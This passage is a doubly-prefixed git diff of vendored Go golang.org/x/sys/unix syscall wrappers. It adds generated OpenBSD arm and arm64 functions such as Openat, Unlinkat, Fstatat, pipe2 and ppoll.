-@@ -1267,6 +1520,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1315,6 +1588,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
-index 41572c26..d7c878b1 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -openbsd -arm -tags openbsd,arm syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm.go
-+// go run mksyscall.go -l32 -openbsd -arm -tags openbsd,arm syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build openbsd,arm
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,7 +360,7 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -393,6 +377,60 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -524,6 +562,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -531,6 +579,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -561,6 +624,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -571,6 +649,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -602,6 +695,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -712,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -815,6 +934,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -855,6 +994,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -870,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -885,6 +1054,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -911,6 +1095,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1000,6 +1200,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1020,6 +1242,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1061,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1186,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1267,6 +1520,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1315,6 +1588,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
-similarity index 87%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
-index 10491e9e..8facd695 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -l32 -tags darwin,386 syscall_bsd.go syscall_darwin.go syscall_darwin_386.go
-+// go run mksyscall.go -openbsd -tags openbsd,arm64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,386
-+// +build openbsd,arm64
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,10 +360,15 @@ func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,8 +377,15 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -408,6 +404,33 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -539,18 +562,8 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Exchangedata(path1 string, path2 string, options int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path1)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(path2)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -673,7 +686,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -682,8 +695,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -692,8 +710,8 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -702,8 +720,8 @@ func Fsync(fd int) (err error) {
-
